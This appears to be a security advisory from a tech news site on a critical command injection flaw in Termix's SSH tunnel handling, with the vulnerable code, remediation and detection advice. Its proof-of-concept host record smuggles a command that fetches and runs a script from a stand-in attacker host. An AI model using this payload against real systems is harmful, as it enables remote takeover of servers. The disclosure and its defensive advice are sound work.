Skip to main content
COSMICBYTEZLABS
NewsSecurityHOWTOsToolsTraining
StudyProjectsNewsletterHire MeAbout
Subscribe

Press Enter to search or Esc to close

News
Security
HOWTOs
Tools
Training
Study
Projects
Newsletter
Hire Me
About
RSS Feed
Reading List
Subscribe

Stay in the Loop

Get the latest security alerts, tutorials, and tech insights delivered to your inbox.

Subscribe NowFree forever. No spam.
COSMICBYTEZLABS

Your trusted source for IT intelligence, cybersecurity insights, and hands-on technical guides.

2493+ Articles
160+ Guides

CONTENT

  • Latest News
  • Security Alerts
  • HOWTOs
  • Checklists
  • Projects
  • Exam Prep

RESOURCES

  • Search
  • Browse Tags
  • Newsletter Archive
  • Reading List
  • RSS Feed

COMPANY

  • About Us
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CosmicBytez Labs. All rights reserved.

System Status: Operational
  1. Home
  2. Security
  3. CVE-2026-53545: Termix SSH Tunnel Command Injection — CVSS 9.8 Critical
CVE-2026-53545: Termix SSH Tunnel Command Injection — CVSS 9.8 Critical

Critical Security Alert

This vulnerability is actively being exploited. Immediate action is recommended.

SECURITYCRITICALCVE-2026-53545

CVE-2026-53545: Termix SSH Tunnel Command Injection — CVSS 9.8 Critical

Critical OS command injection in Termix's SSH tunnel teardown lets authenticated attackers execute arbitrary OS commands on hosts. Patch to 2.3.2.

Dylan H.

Security Team

August 20, 2026
5 min read

Affected Products

  • Termix < 2.3.2

Executive Summary

A critical OS command injection vulnerability (CVE-2026-53545) has been disclosed in Termix, a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Rated CVSS 9.8 (Critical), the flaw allows any authenticated user — even one with minimal privileges — to execute arbitrary operating system commands on servers managed through the platform. The vulnerability affects all versions of Termix prior to 2.3.2.

The flaw resides in the SSH tunnel teardown path (DELETE /ssh/tunnel/disconnect/:tunnelName) in src/backend/ssh/tunnel.ts, where user-controlled host record fields including endpointPort, sourcePort, endpointUsername, and endpointIP are interpolated directly into shell command strings without sanitization.


Vulnerability Overview

AttributeValue
CVE IDCVE-2026-53545
CVSS Score9.8 (Critical)
Attack VectorNetwork
Privileges RequiredLow (any authenticated user)
User InteractionNone
ScopeUnchanged
Confidentiality / Integrity / AvailabilityHigh / High / High
CWECWE-78: OS Command Injection
Fixed InTermix 2.3.2

Technical Analysis

Termix constructs SSH tunnel forwarding commands by directly interpolating user-controlled host record fields into a shell string passed to exec(). The vulnerable pattern in tunnel.ts:

// VULNERABLE — user-controlled fields injected into shell command
tunnelCmd = `exec -a "${tunnelMarker}" sshpass -p '${password}' ssh -N \
  ${tunnelFlag} ${portMapping} \
  ${tunnelConfig.endpointUsername}@${tunnelConfig.endpointIP}`

None of endpointPort, sourcePort, endpointUsername, endpointIP, or password are shell-escaped before interpolation. This applies to both the tunnel connect path (POST /ssh/tunnel/connect) and the disconnect/teardown path (DELETE /ssh/tunnel/disconnect/:tunnelName) covered by this CVE.

Proof of Concept

An attacker creates a malicious host record with a payload embedded in any interpolated field:

{
  "name": "evil-host",
  "ip": "127.0.0.1$(curl https://attacker.example/sh | sh)",
  "port": 22,
  "username": "admin"
}

When the tunnel teardown path is triggered for this host, the injected shell command executes as the Termix process user.

Persistence via Auto-Start Tunnels

Auto-start tunnels re-apply the payload on every Termix process restart, providing persistent RCE that survives service restarts — making this especially dangerous on long-running deployments.


Affected Versions

ProductAffected VersionsFixed Version
Termix< 2.3.22.3.2

Attack Flow

1. Attacker authenticates to Termix with any valid account
2. Creates a host record with OS command payload in endpointIP or endpointUsername
3. Initiates or triggers teardown of an SSH tunnel for the malicious host record
4. tunnel.ts interpolates unsanitized fields into sshpass/ssh shell command
5. Injected command executes as the Termix process user on the source host
6. Full server compromise — file access, credential exfiltration, lateral movement
7. Auto-start tunnel re-applies payload on every service restart

Impact

Impact CategoryDescription
Arbitrary Command ExecutionExecute any OS command as the Termix process user
Credential ExfiltrationRead SSH keys, passwords, and config from the host filesystem
Lateral MovementPivot to other systems reachable from the Termix host
PersistenceAuto-start tunnels re-execute payload on every restart
Denial of ServiceDestroy or corrupt managed infrastructure

Remediation

Immediate Action: Upgrade to Termix 2.3.2

# Pull the latest Termix release
docker pull termix/termix:2.3.2
 
# Or upgrade via npm/yarn if running the Node.js process directly
npm install termix@2.3.2

The correct fix is to avoid constructing shell commands from host record fields entirely. The patch replaces the shell-spawning approach with the ssh2 library's native forwardOut/forwardIn methods, eliminating the injection surface. If shell commands must be used, every interpolated value must be escaped:

// Safe pattern — escape single quotes in shell arguments
const escaped = value.replace(/'/g, "'\\''");

If Immediate Patching Is Not Possible

  1. Restrict user permissions: Limit who can create or modify host records
  2. Disable SSH tunneling: If the tunnel feature is not required, disable it in Termix settings
  3. Network isolation: Place Termix behind a firewall and restrict access to trusted users only
  4. Audit existing host records: Review all host records for unexpected characters in IP, username, or port fields

Detection

IndicatorDescription
Unexpected processes spawned by TermixOS commands injected via tunnel teardown
New outbound network connections from Termix hostPost-exploitation C2 communication
Modified files in Termix directoriesAttacker persistence mechanisms
SSH connections to unusual destinationsLateral movement from compromised host

Monitor logs for Termix process spawning child processes with unexpected command-line arguments, particularly any invocation of sh, bash, curl, wget, or python as sub-processes of the Termix SSH tunnel handler.


Post-Remediation Steps

  1. Confirm Termix is updated to 2.3.2 or later
  2. Audit all existing host records for injection payloads in IP, username, and port fields
  3. Rotate all SSH credentials stored in Termix
  4. Review system logs for evidence of prior exploitation
  5. Check for unauthorized cron jobs, startup scripts, or modified configuration files
  6. Rotate any secrets that were accessible to the Termix process user

References

  • NIST NVD — CVE-2026-53545
  • GitHub Security Advisory — GHSA-xmjh-8cc2-qm49
  • Termix Security Advisories

Related Reading

  • CVE-2026-53546: Termix WebSocket Host Access Bypass
  • CVE-2026-53548: Termix Password Endpoint IDOR — Full Credential Exfiltration
#CVE-2026-53545#Termix#Command Injection#RCE#SSH#Web Security

Related Articles

CVE-2026-53546: Termix WebSocket Host Bypass Grants Cross-User SSH Access

Termix terminal WebSocket accepts attacker-controlled host IDs without ownership checks, enabling cross-user SSH access to any managed server. CVSS 9.6.

5 min read

CVE-2026-53548: Termix IDOR Exposes All Stored SSH Passwords to Any User

Termix's password endpoint returns decrypted SSH credentials for any host ID without ownership verification, exposing all stored passwords. CVSS 9.6.

5 min read

Critical Unauthenticated RCE in JetEngine WordPress Plugin (CVE-2026-66613)

A CVSS 9.8 unauthenticated remote code execution flaw in JetEngine plugin <= 3.8.14 lets attackers fully compromise WordPress sites.

4 min read
Back to all Security Alerts